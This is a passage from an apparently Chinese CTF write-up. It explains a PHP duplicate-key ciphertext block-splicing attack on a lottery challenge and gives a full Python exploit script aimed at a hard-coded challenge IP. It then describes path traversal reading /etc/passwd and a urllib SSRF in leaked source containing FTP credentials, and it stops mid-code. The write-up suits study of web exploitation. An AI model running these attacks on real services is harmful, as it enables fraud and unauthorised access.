class=\"attr\"\u003e\u0026quot;lottery\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;cf4cfb25-8168-49db-a\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e32f-4bf80e5bc785\u0026quot;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026quot;user\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;b61740\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e52-f23a-4dbf-937d-fed3288b8de3\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003e\u0026quot;coin\u0026quot;\u003c/span\u003e:\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好像没什么下手的地方?这时注意到php处理array的一个特性:当有重复键值时,取后扫描到的键值的值\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evar_dump([\u003cspan class=\"string\"\u003e\u0026#x27;a\u0026#x27;\u003c/span\u003e=\u0026gt;\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;a\u0026#x27;\u003c/span\u003e=\u0026gt;\u003cspan class=\"number\"\u003e2\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// output:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e [\u003cspan class=\"string\"\u003e\u0026quot;a\u0026quot;\u003c/span\u003e]=\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e回到题目。这类题目一般的思路为:用很多账户购买lottery(或者直接伪造,当然这道题不行,因为要和数据库内的lottery id交叉比对),并用一个账户充值,购买flag。也就是说,加入我们现在有两个lottery,我们需要将其中一个lottery的user段替换成另一个lottery中的user。\u003cbr\u003e结合php array特性,我们可以将\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth style=\"text-align:left\"\u003eLottery 1\u003c/th\u003e\u003cth style=\"text-align:left\"\u003eLottery 2\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd style=\"text-align:left\"\u003e{“lottery”:“cf4cfb25-8168-49db-a\u003cbr\u003e32f-4bf80e5bc785”,“user”:“aaaaaa\u003cbr\u003eaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa”,\u003cbr\u003e“coin”:1}\u003c/td\u003e\u003ctd style=\"text-align:left\"\u003e{“lottery”:“fbdcf544-07d3-422e-8\u003cbr\u003e40b-d62a90c9332e”,“user”:“bbbbbb\u003cbr\u003ebb-bbbb-bbbb-bbbb-bbbbbbbbbbbb”,\u003cbr\u003e“coin”:2}\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eLottery 1的第三个块替换为Lottery 2的第二、第三块:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003cspan class=\"attr\"\u003e\u0026quot;lottery\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;cf4cfb25-8168-49db-a\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e32f-4bf80e5bc785\u0026quot;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026quot;user\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;aaaaaa\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e40b-d62a90c9332e\u0026quot;\u003c/span\u003e,\u003cspan class=\"attr\"\u003e\u0026quot;user\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;bbbbbb\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003ebb-bbbb-bbbb-bbbb-bbbbbbbbbbbb\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003e\u0026quot;coin\u0026quot;\u003c/span\u003e:\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e妙啊\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 完整exploit \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e base64 \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e b64encode, b64decode\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e string\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e random\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_random_id\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e alphabet = \u003cspan class=\"built_in\"\u003elist\u003c/span\u003e(string.ascii_lowercase + string.digits)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e.join([random.choice(alphabet) \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e32\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_user\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e usernm, passwd = get_random_id(), get_random_id()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/user/register\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: usernm, \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: passwd,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;user\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user = ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/user/login\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;username\u0026#x27;\u003c/span\u003e: usernm, \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: passwd,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;user\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e user\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eflag_user = get_user()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(flag_user)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eprice = ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/lottery/buy\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;enc\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eamount = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e amount \u0026lt; \u003cspan class=\"number\"\u003e9999\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e fake_user = get_user()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e _ \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sheep = ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/lottery/buy\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e: fake_user[\u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;enc\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e treasure = b64decode(sheep)[:\u003cspan class=\"number\"\u003e64\u003c/span\u003e] + \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e b64decode(price)[\u003cspan class=\"number\"\u003e32\u003c/span\u003e:\u003cspan class=\"number\"\u003e96\u003c/span\u003e] + \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e b64decode(sheep)[\u003cspan class=\"number\"\u003e96\u003c/span\u003e:]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e treasure = b64encode(treasure).decode()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e coin = ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/lottery/info\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;enc\u0026#x27;\u003c/span\u003e: treasure\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;).json()[\u003cspan class=\"string\"\u003e\u0026#x27;info\u0026#x27;\u003c/span\u003e][\u003cspan class=\"string\"\u003e\u0026#x27;coin\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e amount += coin\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/lottery/charge\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;user\u0026#x27;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#x27;uuid\u0026#x27;\u003c/span\u003e],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;coin\u0026#x27;\u003c/span\u003e: coin,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;enc\u0026#x27;\u003c/span\u003e: treasure\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(amount)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(\u003cspan class=\"string\"\u003e\u0026#x27;http://52.149.144.45:8080/flag\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e: flag_user[\u003cspan class=\"string\"\u003e\u0026#x27;api_token\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"oh-my-bet\"\u003eoh-my-bet\u003c/h2\u003e\u003cp\u003e上来就是个注册页面,然而头像的选择实现得很怪,提交的表单中是\u003ccode\u003e1.png\u003c/code\u003e这样的文件名一样的东西,尝试目录穿越,发现确实可以读到\u003ccode\u003e/etc/passwd\u003c/code\u003e\u003cbr\u003e遂尝试读\u003ccode\u003e/proc/self/cmdline\u003c/code\u003e等,获取到源码,顺藤摸瓜看到\u003ccode\u003e/app/utils.py\u003c/code\u003e与\u003ccode\u003e/app/config.py\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# utils.py\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_avatar\u003c/span\u003e(\u003cspan class=\"params\"\u003eusername\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e dirpath = os.path.dirname(__file__)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e user = User.query.filter_by(username=username).first()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e avatar = user.avatar\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e re.match(\u003cspan class=\"string\"\u003e\u0026#x27;.+:.+\u0026#x27;\u003c/span\u003e, avatar):\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e path = avatar\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e path = \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"string\"\u003e\u0026#x27;file:/\u0026#x27;\u003c/span\u003e, dirpath, \u003cspan class=\"string\"\u003e\u0026#x27;static\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;img\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;avatar\u0026#x27;\u003c/span\u003e, avatar])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e content = base64.b64encode(urllib.request.urlopen(path).read())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e error_path = \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e.join([\u003cspan class=\"string\"\u003e\u0026#x27;file:/\u0026#x27;\u003c/span\u003e, dirpath, \u003cspan class=\"string\"\u003e\u0026#x27;static\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;img\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;avatar\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;error.png\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e content = base64.b64encode(urllib.request.urlopen(error_path).read())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e content\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eutils.py\u003c/code\u003e告诉我们用户头像是访问注册时提交的链接得到的,之后会缓存于redis中。观察可得此处的头像获取是个\u003ccode\u003eurllib\u003c/code\u003e任意协议ssrf\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# config.py\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eftp_login\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ftp = FTP()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ftp.connect(\u003cspan class=\"string\"\u003e\u0026quot;172.20.0.2\u0026quot;\u003c/span\u003e, \u003cspan class=\"number\"\u003e8877\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ftp.login(\u003cspan class=\"string\"\u003e\u0026quot;fan\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;root\u0026quot;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ftp\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan 